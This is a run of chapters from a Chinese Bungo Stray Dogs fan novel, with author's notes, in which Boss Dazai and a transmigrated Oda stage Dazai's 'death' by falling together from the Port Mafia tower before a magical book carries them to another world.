那一天,港+口黑+手党里最年轻的干部在他面前单膝跪下, 艰难的低下了头,难以启齿, 却又在做了心理准备后干脆的咬牙说着:“我以前只知道错误的方法,为了学习如何率领组织而加入这里, 首领的意志就是我的意志……我一直这么以为着。” 但是……!”中原中也很快抬起头,那双蓝色眼瞳像是淬火的宝石, 闪烁着锐利的光泽。他抿了抿嘴唇, 不大愉快的承认了:“森先生的理念不适合我。” 中原中也一直以来的做法, 都绝不是把追随的人舍弃为弃子, 把他们随意当做棋子来算计推出去来获得更多的利益,他不可能看着部下进行这样的送死。 他只是—— 一直没有明白, 森先生口中“首领身为组织的奴隶, 为了整个组织的利益需要进行最优解的取舍”到底指的是什么细节罢了。他自己做不到那样的手段。 太宰果然还是那个太宰……啧,脑子聪明过头了,永远比他看得更明白……又说对了一次。 “所以?” 彼时的太宰治坐在大办公桌后冷淡的问。 他手中处理的公文没有停下过, 钢笔繁忙的划过纸页,留下沙沙的动静;整个身影都笼罩在一片黑暗中, 只有胸前的红色围巾鲜艳刺眼。 中原中也的身形跪的笔直, 他把帽子按在胸前, 垂下眉眼, 嗓音郑重下来的请教着:“Boss, 请告诉我。曾经的先代和你的理念没有不同,为什么从结果上会有这么大的差别?难道暴君论才是正确的吗?” 他垂着头表示驯服,但声音中有些迷惘。 “人和人之间的区别是要用眼睛去判断的, 中也。你想要获得一种‘绝对正确’的理念本身就不正确。”太宰治的口吻冷淡,他停下了笔,语气突然转为了一种不带恶意的新奇玩弄感, “对了,中也,你来统领港+口黑+手党一段时间吧。” “哈??” “既然这么好奇,试试不就知道了。给——银之手谕。”办公桌后的黑衣男子变魔术似的递出来一份银色的文书,原来他刚才在写的东西正是任命中原中也代理统领港口□□、他的命令如同首领所出命令的证明。 “我——这种话就算是玩笑也——” “去吧,中也,这是身为首领的命令。”太宰治的语气加重了,开玩笑一样的口吻中带着冰冷的笃定,不容置疑。 “……” 首领宰从回忆中收回注意力,嘶哈嘶哈的把一块切下来的嫩牛排肉放进嘴里,烫的眼泪汪汪。 从那一天过后,中也好好的在首领室里一边骂他一边加班,有一周时间了吧? 托中也的福,太宰治这段时间过得很悠闲,像是提前过上了养老生活,他有充足的时间去完成了一些小测试,现在结果出来了。 计划的下一步也该进行了…… 他平静的思忖着。 …… 这天晚上,在自由轩餐厅快乐聚餐的无赖派们都在二楼的空房间留宿了。 很少见,我们这一次没喝酒——我打从心底的认为太好了。上一次回来Beast世界的经历差点给我留下了阴影,和友人们小酌一杯很好,但是连着四五天昏昏沉沉,醒过来的时间短暂无比,就让我有些吃不消了。 睡到半夜里,我揉着疼痛的太阳穴从床上坐了起来,在一种第六感的警觉下醒了过来。 “又睡不着了吗?”我看见首领宰手法娴熟的从窗户外面爬进来,用脚尖勾着关上了窗户,全程没发出半点声音。 黑衣男子被抓包以后也没有半点不自然,偏开头承认:“啊。” 我们两个开始熟练的往地上打地铺。 躺平以后一阵沉默。 我侧过头,看着太宰治。 首领宰是有什么话要告诉我吗? 我是这么想的,也就这么问了出来。 绷带青年连肩膀上的肌肉都没有放松下来,僵硬着发力,好像他顾虑着一些话说不出口,只能被压在舌尖下一样。 无赖派聚餐的时候,他表现的没有半点异常。现在特地避开别人只剩我们两个,这件事一定很重要吧。 “织田作。”首领宰仓促的从喉咙里吐出了几个字,又很快停住了。他凝视着我,安静的目光中带着某种沉甸甸的质量,凭空压得我有点喘不过气了,“上个世界里的涩泽龙彦……” 首领宰只说出了这半句话。 我突然明白了。 当时的我当着幼宰的面杀了涩泽龙彦,所以首领宰也是知道这件事的。从那一天过后,首领宰反常的再也没有通过书页对我发过消息。 所以才会在我回到Beast世界时,在聚会后避开其他人,来试探我对杀人的看法。 这个问题终于来了…… 「不杀人的织田作之助」,「为了拥有写小说资格的织田作之助」。 「杀了涩泽龙彦」。 然后会发生什么事? 我沉默着:“……” 怎么说呢,虽然我以前是个普通人,但我对自己存在的意义非常清晰。 第一次杀人也让我感到难受,明知道是对的,良心上却会煎熬的谴责自己。在主线世界被武侦宰暴揍了那几天以后,我才平复了这件事带来的不适感。 但是—— 我终究不是织田作之助本人,我并不觉得,杀了人——剥夺了他人生命之后,就没有资格再写小说。 我的小说,由我自己书写。 ……但以上这样的话该怎么对首领宰说? 我自然垂在身侧的手指轻微抽动了一下。 『我不是织田作之助。』 我永远没有勇气对首领宰说出这句话啊。 ——我只能说出早已经准备好的理由,并且装作坦然的样子。 “啊。”我放在被窝里的手攥成了拳头,听到自己用干涩的声音穿过喉咙,像平常一样镇静地回答首领宰,“我杀了那个人,但我仍然在写属于我自己的小说。” 我的视线往侧面游移了几寸,避开了观察此刻的首领宰脸上的表情变化。 就算是我,也不太想知道首领宰听到后会有什么感受,我选择短暂的逃避了一下。 然后我从风衣外套中取出了那本宝贵的笔记本,放在了地上的被褥前,也就是我和太宰的中间,简单解释着: “写书即写人。” “就像我现在在做的事情一样——写人,即写书。” 书写我们自己的命运,不就是反抗造物主朝雾kfk,编写出全新故事的一种办法吗? 织田作之助救赎自己的方式是不再杀人。而我救赎自己的方式是…… 我的视线终于投向了首领宰。 ……不知道我的解释有没有说服他? 我的心跳停了一拍。 ——首领宰正在一眨不眨的凝视着我。 青年那双眼瞳里没有流露出任何含义,只是专注得过分的注视着我,不知道审视了多久。那种目光,甚至到了有点急切的程度了。就像他在迫不及待的等着我说完,然后,说些什么。 我的预感应验了。 几乎在我的话音刚落下的一瞬间,他就开了口,很有技巧的叹息着:“……如果是这样,杀了人也没有办法了呢。” 这种口吻好熟悉。 我心中模糊的浮现出了一种在哪里听到过类似对话的既视感来。 这种为我着想的动人口吻,好像在讨好我一样的替我说话——这不是首领宰和我刚认识的时候刻意表现出来的样子吗? 我从不安里冷静下来,仔细观察了首领宰一眼。 脱下了黑色大衣和红围巾的太宰坐在地铺上,肩膀还是僵硬着没有放松下来,他不动声色的注视着我,那双眼睛中一如既往的没有流露出任何情感的波动,平静的像是干涸的泉眼。 但是…… 就像初见的那天晚上我能分辨出首领宰的情绪一样,现在的我也不可思议的意识到了:“……” 太宰治,首领宰。 他已经平静的接受了我‘杀人后决定继续写小说’的现状。 现在说这样的话,是反而在意我有没有‘因此觉得与其他织田作有不同之处而陷入自责’……吗? 我一时间喉咙干涩到说不出来话来。 “对了,织田作。”青年好听的声线还在响起,对方没有意识到我心中的震动,还在看似随意的绞尽脑汁找些别的话题安慰我似的。 “……要不要带我走?” 首领宰很自然的问着- 作者有话说: 拉扯,好喜欢写拉扯。 在亲眼看到织田作濒死,又杀了一个人之后,首领宰和主角的这场谈话迟早要来一次呢,默哀。 第84章 首领宰事后算账 “可以吗?”我不确定。 我只做过最简单的实验, 也就是在文豪野犬汪的世界里,带着Q版无赖派穿越到同一个世界里的不同小世界而已。那样的实验成功了,但不代表我可以把首领宰从Beast线这样的可能性世界中带离。 “嗯, 可以做到。”首领宰没有太大的反应,只是轻松的肯定着, “所以……” 他停顿了一下,视线落点停留在了那本笔记本上, 语气平淡的重复了一遍:“要带我走吗?” “啊。”没有了顾虑,我毫不犹豫的同意了。 可以说, 完全是高兴极了。 主线……太难搞了, 我承认我的力量不足以应对。就算我下定决心再试一次, 告诉主线武侦宰真相, 试图说服他;我也需要拥有一个应对失败结果的手段。 如果首领宰在,那就太好了。 “七天。”首领宰饶有兴致的说着, 他暗沉沉的眼瞳转了过来, 不知道在打着什么主意,但我猜测那绝不是好事,“交接港口黑+手党还需要七天时间, 在那之后我们离开。” “太宰,离开这里真的不要紧吗?”我沉默了几秒钟还是问了出来。 从首领宰的计划被我毁掉之后, 我和首领宰就再也没有谈起过那个五阶段计划。但我从来没有忘记, 首领宰不分日夜的勤恳工作着, 让自己上位成为港口黑+手党首领, 最初的目的都是为了保障这里的织田作之助好好活下来。 首领宰真的放得下横滨稳定的局势, 还有活着的织田作之助——能放心的和我离开一段时间去冒险吗? 哪怕我们每次旅途的最终都会回家。但万一Beast世界再出什么事情,首领宰没有办法及时赶回来处理的。 我坐得有些浑身发僵,决定躺下来, 钻进暖和的被窝里再继续和首领宰开卧谈会。 随着视角转变,我枕在枕头上等待着回答,黑衣男子的形象在我面前变成了居高临下的俯视:阴影笼罩了他的半张脸,青年此刻面无表情的模样莫名十分可怕。 首领宰的气场很有压迫力,他莫名的注视了我好几秒后才开口,身体微微前倾,幽幽说着:“没有办法,谁让在我接触不到的地方,织田作完全不懂得照顾自己。” 我:“……” 原来是因为我吗?? 他幽幽地问出第二句话,目光中毫无笑意:“在那个孩子的世界里,织田作原本打算把‘书’交给谁?” 我:“…………” 差点死了所以想要托付遗物,但全被首领宰看在眼里的后果终于来了吗? “那是当前最好的选择。”我坦然承认,然后话音一转,“所以中也先生是继承了你的理念了吗?” 所以太宰才能放心的把港口黑+手党和这个世界托付给中原中也,自己短暂离开? “中也有他自己的路在走。”首领宰轻描淡写的说着。 他脸上浮现出淡淡的厌倦与嫌恶的表情。刚才和织田作的对话让他联想到了森先生的[最优解],理智告诉他这没什么毛病,但几个重要的关键词连在一起后,他的胃部却先不适的翻腾了起来。 首领宰没有第一时间表现出来,而是在延后的话题上才这么做了。 “……然后?”我听出来首领宰的话音未尽。 “然后我才能把幕后的那只老鼠引走。”首领宰一动不动的端坐在地铺被褥上,他身体前倾,双手的十指合拢在一起,专注而沉沉的说着,“织田作,你知道吗?防范一个敌人的最好办法就是——把他彻底解决掉。” 我明白了:“把妥……呃,费奥多尔引去别的世界再解决?” 横滨刚刚遭遇过死屋战争,背地里一直有一只老鼠潜藏着,永远只能打退而不是解决掉。这对横滨、对[书],对活着的织田作之助来说都太危险了。 首领宰果然不会安心离开。 除非——是他带着麻烦一起离开。 我原本激荡的心情渐渐平静了下来,甚至吐了口气:“呼……” ……吓到了,还以为首领宰是为了我的安危才想外出的。 那份过于真挚滚烫的情感让我不知所措,一想到这是由首领宰捧上的,就更加慌张了。 我不擅长应对这样纯然的感情,也没想过首领宰会因为担心而这么做。 但如果这是首领宰精明头脑正常思考下的衡量,是对计划的算计布置,是早就有过的期待冒险,是从容的一举两得…… 我会坦然的乐意接受。 “我知道了。”我安详躺平在被窝里,被一阵暖融融的被子触感包围着,说完了主要事情后开始逐渐犯困,“……这七天我会去找织田作先生,继续锻炼战斗意识……” “啊。”我听到首领宰轻声应了一下,用说今天天气很好一样的语气随意的继续交待着,口吻愉快,“我离开的事情可以告诉织田作和安吾,但不要对别人提起。天气预报说七天以后是个大雨天——很适合假死一下。” 我瞬间睁开了双眼,头脑清醒无比,再也没了一丝困意:“……!” 假死? 首领宰你…… ……还没忘记上次折磨中原中也的那个残暴计划吗?- 作者有话说: 嗯……我思来想去,首领宰磨练中也和下属的手段,真的会很残暴又冷酷呢。闭目 第85章 一跃而下 我注视着首领宰。 首领宰低头注视着被窝里的我。 我们四目相对, 我看到了首领宰那双眼睛里的认真,不含一点开玩笑的意味。 “……” 我明白了,首领宰已经做了决定, 那么港口黑+手党里怎么进行交接和教导我都不该再关注了。 我恢复了平静,简单问着:“是吗?你打算怎么假死?” “虽然很想实现一次从高楼上一跃而下的梦想, 但是很遗憾,中也抱怨了一大堆, 把追踪死屋之鼠后续的任务推了回来。所以——会由死屋之鼠的头目来‘杀死’我。” 首领宰变成了委屈的Q版包子脸,垮着脸蜷缩着一头倒进被窝里, 闷闷叹息着, 看起来非常遗憾了:“准确地说, 是我和死屋之鼠的头目一起‘死去’。” ——黑衣男子的声音有气无力的, 整个人都恹恹的了。 我沉默不语着。 嗯…… 这么一来,在中原中也眼里岂不是…… [上一任首领太宰治死于他的决策]。 嘶, 磨练的效果绝对是足够了。 ……但这是港口黑+手党继任首领的什么优良传统吗?可怜的中也先生遭受这样的磨练, 真的不要紧吗?事后等到首领宰假死曝光了,他会被暴怒的中也先生一拳头打成饼干的吧? 我的脑袋里盘旋着这样的疑问。 但是,我承认自己是完全偏爱首领宰的。 所以我很快放弃了疑问, 只是专注针对首领宰的遗憾开口:“太宰,你想体验一次从高楼上一跃而下的梦想也不是没有可能。” 太宰治:“?” 他唰的一下又坐了起来, 眼睛亮了起来, 双手攥住了我的肩膀, 表情希冀, 连声音都高了半拍:“——真的吗?织田作?!” “真的。”四目相对之下, 我重复着。 我们两个都清楚,技术问题不是难题,有三次元带过来的那本最为特殊的[书]在, 就算是首领宰的能力,也无法阻止[书]在他坠落到最低端前,将他转移到其他世界。 问题在于…… 首领宰亲眼窥见过那个他一跃而下的未来。他也知道我看到了这样的未来,我也知道他知道我看到过这样的未来。以及我就是为了改变这样的未来而前往这个世界的。 我们从来不讨论这个最敏感的话题。 首领宰以为我会非常介意这个场面,我其实比较考虑以毒攻毒:“如果太宰你很想试试的话……那就试试?” 首领宰像是被突然噎住似的狠狠沉默了,脸上的表情有一瞬的无所适从,他有点狼狈的移开眼神:“……” “那就这么定了。”首领宰自然的清了清嗓子,脸上毫无破绽的笑了起来,从容的继续说着计划:“我会留下一封遗书,把敦君推荐给未来的武装侦探社,森先生一定会被中也请回去,到那时候,他会按照我的遗书去做……” “啊。”我有一搭没一搭的应着。 这天晚上不知不觉就这么聊过去了,我的头脑摄入了大量信息,变得有点困倦,但窗外的天色已经开始发亮了。 “明天再去训练身手吧……”我的意识逐渐模糊了,今天白天要花一段时间补觉了。 “唔……”首领宰也从鼻腔里发出闷闷的附和声,头朝下埋进柔软的枕头里,睡死过去了,只剩下后脑勺上凌乱的碎发四处乱翘着。 早上十点钟。 本地的织田作先生已经去后厨帮忙一个多小时了,二楼的另外两个房间里还没有传来任何动静,坂口安吾不得不上楼来叫醒两个友人。 他听着楼下传来的胖老板的笑声和孩子们吵闹的动静,踩着吱呀响着的木楼梯,心里有点犯嘀咕:“……这样都不醒吗?” 坂口安吾有点佩服他们的睡眠质量了,他自己是拼命上班筋疲力尽下班,但是睡觉中途突然有什么响动,还是会突然憔悴惊醒的脆皮体质。 “织田作先生?”坂口安吾站在第一间房间的门口敲了敲,里面没有任何动静。 “我进来了?”坂口安吾眉头一皱,试探的拧开了门把手。 阳光透过窗户肆意洒落了一地,照亮了地板上的被褥。在地铺上,乱七八糟的睡着两个身影。红头发的那个裹着被子睡得很沉。黑头发的那个乱七八糟的伸开手脚睡出了被窝的范围,脸埋在枕头里半点动静都没有。 “这是大半夜又凑一起胡闹了吧?”坂口安吾无奈叹着气,没好气的走过去,贴心的替他们把窗帘拉上。 房间又笼罩回了一片黑暗里。 “帮大忙了……安吾。”太宰治的声音模模糊糊的从枕头上传过来,后脑勺一动不动。 坂口安吾摇摇头,顺手对着窗帘发动了一次能力,想看看昨晚他们怎么胡闹了。 两秒钟过后。 坂口安吾轻松的表情僵硬住了,细密的冷汗从他的额边渗了出来:“……” 不是吧,你们玩这么……大的吗? “嘘……安吾,不能说出去哦。”首领宰的声音依旧朦胧犯困,一动不动的趴着,但他懒洋洋的警告着。 “啊。”坂口安吾僵硬的应了下来。 他心神不宁的原路走了出去,飞快的关上了门。 坂口安吾现在迫不及待的想回异能特务科,火烧屁股似的把最新的爆炸情报告诉种田长官,但是有太宰先生的警告在,他只能若无其事的憋到七天后,等事情发生了才能说出去。 ……种田长官,横滨要变天了啊!!- 作者有话说: 假死!摩拳擦掌写假死!兴奋ing 第86章 下坠 等我一觉醒来, 已经到了晚上,坂口安吾离开了。 织田作之助坐在餐馆一楼的玻璃窗前,面前摆着稿纸和钢笔, 他沙沙的写着什么,窗外的天色阴沉, 快要下雨了。 孩子们没有待在楼下,也没有在楼上发出吵闹的动静, 静谧的一楼餐馆氛围多了几分温馨。 “啊,织田酱你醒了?”胖老板端着一盘意大利面送给客人, 抬头笑了, “要吃点什么?” “……意大利面吧。” 我睡得昏昏沉沉的, 走到织田作之助身旁拉开椅子坐下, 从茶壶里倒水出来,连喝了两杯。他被惊动了, 拿起稿纸向我请教着:“我写了一些片段, 可以吗?” 我把稿纸捧起来读了读。 『人们总有自己想见到的、应该见到的人。为了这个目的,他们不再‘迷惘’。』 『没有流浪的野犬,为了自己所希望的事物发生, 会走向什么样的道路?死与世界的边缘,也许都无法将他们的心愿就此断绝。』 『……』 “这些是?” 我从这些片段中读出了熟悉的感觉, 并且越往下看越觉得熟悉。 织田作之助的脸上没有什么表情, 眼神却显得有些局促:“我看到过你写在本上的片段, 这个灵感诞生的时候, 不知道怎么的、让我想要回应你曾经写下的那段话。” 啊。 是我在前往Beast世界前写下的第一段话, 也是我在这个世界中的开端。 那是一段关于‘野犬’的讨论。 我思考了一下:“你在写……我们的故事吗?我,你,安吾和太宰。” 除了刚才的寄语很眼熟, 后面断断续续的情节与片段都很眼熟。虽然织田作之助严谨的进行了改头换面,把细节也彻底模糊了,但我看得出来内核还是那个内核: 织田作之助在写‘我为了首领宰要完成一个宏大的计划,不惜跨越时空;’‘首领宰为了保住织田作之助的命,费劲了心血;’又写‘无赖派为了帮助其他时空的我度过危机,绞尽脑汁;’最后写‘首领宰为了保住我,以性命为圈套,保住了这个世界又前往了我所在的其他时空……’ “你已经知道计划了啊。”我抬起头。 我明白织田作之助为什么突然灵感汹涌,写出了这么多饱含情感与恢弘大气的文字了。 是最后这个计划,量变引起了质变,促使织田作之助产生了不吐不快的创作欲。 “这样写可以吗?”织田作之助还在认真向我确认,他在介意这些情节会不会冒犯到我。 “以后就拜托你了,织田作先生!”我反过来认真的攥紧了红发男人的手拜托着,心里简直是喜出望外, “我说过,我所走过的道路,我做的事情就是我写出的小说,是书中人对造物主的最大反抗……所以在一切计划没有完成之前,我的这本小说都无法完成。那么等我完成了一切计划后,我的这本概念上的『小说』也就等于写完了。” 我并不擅长把这一切都记录下来,所以一直没有过完成成品的念头,只随心写过一些零碎片段,然后被首领宰催更催得很头痛。 “……也就是说,我们刚好缺乏一本真正被写出来的小说。” 我紧紧攥着织田作之助的手,像是看到了救星,郑重说着:“织田作,你可以把大反派朝雾kfk这部分剧情也加进去,我曾经记下来的那些细节你也都可以随意翻阅——全部都要拜托你了!” 【织田作之助亲笔写出来的小说】,【织田作之助写了属于无赖派四人自己故事的一本小说】。 连我都渴望着马上想看到成稿效果了。 ——简直不敢想象首领宰知道以后会有多狂喜。 但我不会立刻告诉首领宰这件事情。 “我知道了。”织田作之助的蓝色眼瞳注视着我,他认真的应了下来,“等到太宰将要离开的时候,再告诉他。” 我的呆毛没忍住动了动。 “在友人没有写完稿子之前,怀着期盼的心情长久等待下去,也是一种磨练吧。”我同样认真的总结着。 到那时候,新的锚点就增加了。 我们两个交换了一下了然的眼神。 …… 第二天开始,我就过上了紧张刺激的战斗生活。 织田作之助的灵感汹涌袭来,忙着写稿子,每天只能见缝插针的抽出一个小时时间和我对打。 但我觉得一个小时完全够了。 自由轩餐馆坐落在横滨的市中心以外的偏远地区,餐馆后面就是荒芜的小山包。 “砰砰!”两声枪响响起。 在山包上,我险而又险的发动[天衣无缝]躲开了攻击,只在肩膀上留下了一道灼烧的擦痕,呼吸都变得凌乱急促了,“呼……呼……” “战斗中的呼吸节奏一定要保持。”织田作之助干脆利落的更换了手腕上的弹匣,对我介绍心得。 “他们这样打架不要紧吗?”坂口安吾在二楼窗户前看得心惊肉跳。 他没见过两个织田作之助这么不要命的打架,双方都可以运用预知能力,枪弹也是毫不留情的使用着。异世界来的那个织田作先生明显的落在下风,苦苦抵抗着……他的进步虽然很明显,但这些也太惊险了。 首领宰注视着这一幕,不知道想到了什么,脸色很不好看。 “就算检测到了特异点,异能特务科也不会做什么的,安吾。”面无表情的黑衣男子口中回答着完全不相关的话题。 坂口安吾很想吐槽的欲言又止,最后沉痛地叹了口气:“……唉。” 这不是很担心吗?太宰先生。 一周后。 不管织田作之助怎么抓紧时间把战斗经验塞进我的战斗里,时间都终于到来了。 这一天果然是个大雨天。 地上溅起了大大小小的雨花。 我和太宰治告别了餐馆和友人,撑着伞并肩走在港口黑+手党负责的街道上,远处的黑色大楼清醒而沉默的伫立着,海风凛冽的吹拂过一阵冷意。 “费奥多尔先生为什么愿意在这个时间段和我们见面?”我问。 除非他认为自己算计得了我们,或者留下了什么后手。 所以我心里盘旋着一个新的想法。 “因为我告诉了他,书就在这里。”首领宰把双手抄进了黑色大衣的口袋里,从容的视线落在面前的这条小巷,他平静地说。 一道白色的身影转了出来,优雅的慢慢鼓着掌:“港口黑+手党的首领亲自放出了这样的消息,在下怎么可以不来呢?” “只是,这样的天气有些讨厌。”然后费奥多尔停顿了一下,不咸不淡的这么说着。 雨下的很大,前来的白色身影却没有打伞,他像是陶醉在雨中的疯狂艺术家,优雅不减,我只担心他的算计。 “我改变主意了,太宰。”我突然说着。 首领宰侧头望了过来,他没有高光的鸢色眼眸中写着难辨的情绪,好像意识到了什么。 但他还是说:“……织田作想做什么就做吧。” 我走近了费奥多尔,第一次近距离仔细的打量他,他妖异的紫色眼眸也看透人心似的注视着我,口中感慨:“这位就是来自其他世界的变数吗?” “其他世界啊。”他意味不明的重复了一遍,让人毛骨悚然。 “你想去看看吗?”我问。 但我没有等他的回答,而是不容置疑的一把攥住了费奥多尔纤细的手腕,发动了能力。 白色身影在原地消失了。 “真遗憾。”首领宰眷恋的望了一眼远处的高层大楼,故意叹着气,“我还以为费奥多尔先生可以陪我试一次跳楼呢,他去哪里了?” “我把他送去了我原本的世界。”我干巴巴说着。 首领宰的眼眸微微睁大了。 “我不想给你,或者其他世界的你再找麻烦,太宰。”我说着。 而且我不认为费奥多尔这个人可以不费大力气就能解决掉,不管在哪个世界都一样。但是唯一的一个世界是不同的。 “费奥多尔先生想要用[书]去实现一个没有异能力的世界,但我和他的理念不同,我不认为异能力才是这个世界的[原罪]。”我默默看向了远处的天空,似乎已经看到了那个身影见到新世界的样子。 没有了异能力的费奥多尔,来到一个没有异能力的世界。 他的头脑聪明绝顶,危害性绝对不会减轻半点。 但我只是想——请他亲眼见证一次,没有异能力的世界和有异能力的世界相比,到底有没有好起来? 答案是很明显的。 “也许他以后会有别的目标吧。”我说。 首领宰的视线落在我沾上了一点墨水的手指尖上,意有所指的开玩笑:“也许他以后会成为文豪。” 我默默望天:“也许他会看到自己同位体的作品。” “所以——” 首领宰安静的伫立在小巷子里,不再和我绕圈子了,他的脸上写满了事后算账和不赞同,幽幽地问:“织田作是想和我一起去尝试跳楼吗?” 这种不满的表情,好像一言不合就要开始大吵大闹了。 啊。 ——这种事对首领宰来说好像还是太刺激了? 我有意识到这一点,但我不打算改变主意。 “是绑架。”我还纠正着他,“港口黑+手党的首领太宰治被我挟持到了大楼顶楼,我要把你绑架到另外一个世界去,所以伪造了你的死亡现场。” “这么大的雨,足够他们什么都找不到了。”我一本正经的说着地狱笑话。 首领宰陷入了沉默:“……” 从刚才我突然改变主意把费奥多尔传送走开始,首领宰聪明的脑瓜就该意识到我的念头了。 按照我们的计划,在这个让人几乎看不清身影的大雨天里,只要首领宰和费奥多尔一起上了天台,又双双坠楼“失踪”。 在横滨中四处奔波着处理事务的代理首领中原中也先生就只能沿着太宰治留下的线索,得出那唯一的结论。 所以这其中必不可少的一个条件是:[两个人上天台]。 我相信以首领宰的手段,可以说服原本的费奥多尔前往那个地方。但在我改变主意的那一瞬间,不知道首领宰心中酝酿了多少艰难挣扎的风暴,才心情复杂的说出那句让我随意的话。 首领宰在沉默过后,这位人质先生只能从善如流的叹息一句:“……走吧。” 他不想见到一个织田作之助从高楼上坠下的刺激场面,哪怕他明知道结果一定会安然无恙。 我撑着伞气场全开的走在了前面,走得风衣下摆都翻飞了起来。 ——我当然也不会放任一个首领宰独自从高楼上一跃而下。 …… 十分钟后。 换上了一身白色的我和首领宰避开了所有人,通过隐秘通道来到了天台上,只在监控记录中留下模糊的两道身影。 我丢下了伞,按住了头上很保暖防水的白色毡帽:“穿成这样有点奇怪。” “很快就结束了。” 和我合谋在策划自己的‘绑架案’的首领宰眺望着寒风呼啸的楼顶说,他动作轻松又灵巧的走到天台的边缘前,跳了上去。 黑衣男子很普通的迈过了那条栏杆、站在高楼的边缘。那是一个很危险的距离了,好像只要一阵风就能把他吹落下去。 太宰治环视望着这片土地,大风把他的红色围巾吹拂起了一角,他垂下眼帘,此刻的他不知道在想什么。 “……” 我安静注视着他,没有去打断首领宰的告别。 大雨很快打湿了黑衣男子的头发和外衣,连表情都看得不太清楚了,但我却从他的眼瞳中捕捉到了一抹明亮的绚烂光彩,首领宰似乎笑了。 “走吧。”他好像回想了很多,最后带着某种难以言喻的怀念情绪转过身来,释然的微笑着。 终于……终于到达了他期待的这一刻。 那是一种很缥缈的梦幻表情,让我彻底回到了原著现场。 ……好像这个单薄的黑色身影随时都要消失了一样,红色的围巾在这一刻鲜红的刺目。 “织田作先生写了一本关于我们的故事的小说。”我平静地说。 我回想起了首领宰最后的夙愿。 ——我猜他也想了起来,氛围戛然而止,黑衣男子的表情突然变得很精彩。 我看看他:“……” 太宰不会觉得我在为了原本的剧情报复他吧? 但我想要的就是最后那一点[不甘心],这是双重保险。 我没有再去看太宰治脸上错愕后的表情变化是什么了,我同样迈过了屋顶的栏杆,直接揽住了首领宰单薄的肩膀,这是一个邀请的暗示。 “织田作,你……” 首领宰表情复杂的望着我,想最后说些什么,但闭了闭眼,没有拒绝。 他收拾好了心情,顺着我的力道往后倒去——两个人影便干脆利落的向边缘外倾斜坠落了下去。 ……红色的围巾终于被风托了起来。 飘上了高天- 作者有话说: 首领宰:……我好像被做局了。 织田作之助:没错,是我们两个联手做的局。 主角:我都说了是绑架。 【啊啊啊快要完结了,好不舍,但是好喜欢这段情节。 ps:织田作之助回应写下的那段话对应全文第一章 第一段,来自主角穿越Beast世界前夕。】 第87章 坠落之后 第一秒。 下坠。 港+黑大楼高的让人头晕目眩, 跨过了那条栏杆后,身体向下倾斜失重。 面朝下坠落的我一时间下意识揽紧了首领宰的肩膀,大脑一片空白, 心脏响得几乎要从胸膛里蹦出来:“……” 这有点刺激过头了。 我所有的勇气都在坠下的那一瞬间漏光了,血液开始上涌, 手脚本能的发软。 “织田作在紧张吗?”首领宰的双手都好好的抄在大衣口袋里,任由身形坠落着, 他放松的问。 黑衣男子从来没有这么平静安宁过,那双睁开望过来的鸢色眼眸里一片平和, 脸上露出了浅浅的微笑, 就像坠入了一场美梦。 “啊。”我几乎没办法从喉咙里挤出干涩的这声回答。 想要克制住自己濒死时的本能、不去失态的抓牢我现在唯一能抓紧的人——我都已经用尽了所有的力气。 首领宰突然笑出来一声, 觉得很有趣:“已经这种样子了, 还要坚持来跳楼吗?” “……我也是到这一秒才想反悔的。”我语气非常僵硬地、默默地说着。 耳边,首领宰笑的更大声了。 第四秒。 继续下坠。 高空的风凄冷的呼啸着, 吹动我和首领宰的大衣哗哗作响, 白色的帽子不知道什么时候也被风吹走了,只剩下雨点冰冷的打在我们身上。这个本该非常快速的过程,现在却仿佛被某种能力拉长得无比漫长。 为什么这么漫长? 我前所未有的佩服着首领宰, 四肢变得僵硬又冰凉,只有抓住他的那部分肢体还能汲取到一丁点的热量。 黑衣男子在贪婪的、尽情的享受着这段属于他的珍贵时光。他安静的张开了双臂, 碎发被吹拂到了额前, 那双没有高光的眼瞳惨淡而专注的注视着还在下雨的天空, 又像是什么都没有注视。 时间仿佛在这一刻停滞了。 唯一被遗留下来的, 是名为太宰治这个个体的[满足]。那份剧烈的情感残渣漂浮在了这里的空气中——可能再也不会有人能发现它了。 我同样安静的注视着这一幕, 没有选择打扰首领宰。 我不清楚我的做法是对是错,但我其实没有后悔。 第六秒。 地面已经接近了。 原本小的几乎看不清的建筑现在有了轮廓。为了避免打扰到其他人,我和首领宰跳下的方向在港=黑大楼的侧面, 这里除了结结实实无法藏人的硬化水泥地面和空调外箱,没有其他人,连玻璃窗和美观的绿化带都没有。 或许有其他楼幸运的办公人员会发现我们吧。 没有也可以。 问题在于……我要严格把控好离开世界的时间。 我的心脏漏跳了一拍,全神贯注的盯着越来越近的地面,把手按在了胸前藏着的笔记本上。 我没有再和首领宰交谈,首领宰在最后关头也没有再开口打扰我的注意力。他平静的、或者说有些严厉的专注盯着我,目光一眨不眨,反过来攥住了我揽住他的那只手,微微用力。 第七秒。 重力在我们身上施加了过于恐怖的不可承受之力。 我目光一厉——就是现在! …… “砰!” “那是什么声响?”尾崎红叶走出审讯室,听到一声怪异的、让人不安的响动。 她微微蹙起眉头,属下追到门口为她撑起了一把大伞,不确定的看向门外。广场上慢慢聚集起了几个人,是门口的守卫们,狐疑的互相交谈着,开始了四处搜查。 “不知道。”这是前台的女性文员茫然回答,她同样警觉地注视着门外,把一只手摁在了后腰间的枪上。 十分钟后。 雨下的很大,在地面已经堆积出了浅浅的水洼,冲刷走了大地上的污秽。巡逻的守卫们浑身都淋得湿透了,踩过一个水洼、溅起了大片水珠,其中有一个人发现了什么,捧着一顶沾了泥巴变脏的白色毡帽大步跑向红叶大姐。 那是他在主体大楼的侧面小广场上捡到的。 “这是……!”知道最近横滨迎来的那场战争的真相,也知道首领和中原干部最近都在忙着什么的红叶表情凝重了下来,转头发令,“全体戒严,有敌人入侵进来了!监控室怎么说?” 五分钟后。 监控室的人员有些慌乱的给出了一段模糊录像,来自近二十分钟前。首领太宰治启用了秘密通道,挟持着一个白色身影前往天台前的最后隐晦一瞥。 到底是首领挟持了死屋之鼠的头目,还是死屋之鼠的头目挟持了首领……这件事还不好说。 “首领室的情况呢……?”尾崎红叶立刻乘坐电梯前往了顶层,她攥紧拳头,语气强行维持着冷静,不愿意相信某个可能。 匆匆迎过来的芥川银忍着情绪艰难汇报:“……首领今天还没有来过这里。” “哪里都没有发现首领的踪迹。”另一个黑西装汇报着。 在接下来的十分钟里,监控室的人把所有监控都翻了个遍,包括了装在首领友人家附近的那些监控,全都一无所获。 “红叶大人。”电梯再次打开了,广津柳浪从中走了出来,戴着白手套的双手小心的捧着一个物件,他沉默了几秒钟说,“我的人在第六十五层的窗外发现了这个。” ——那是一条眼熟的红色围巾。 谁都认得出来,那是首领的象征,是太宰治身上从来没有摘下来过的信物。 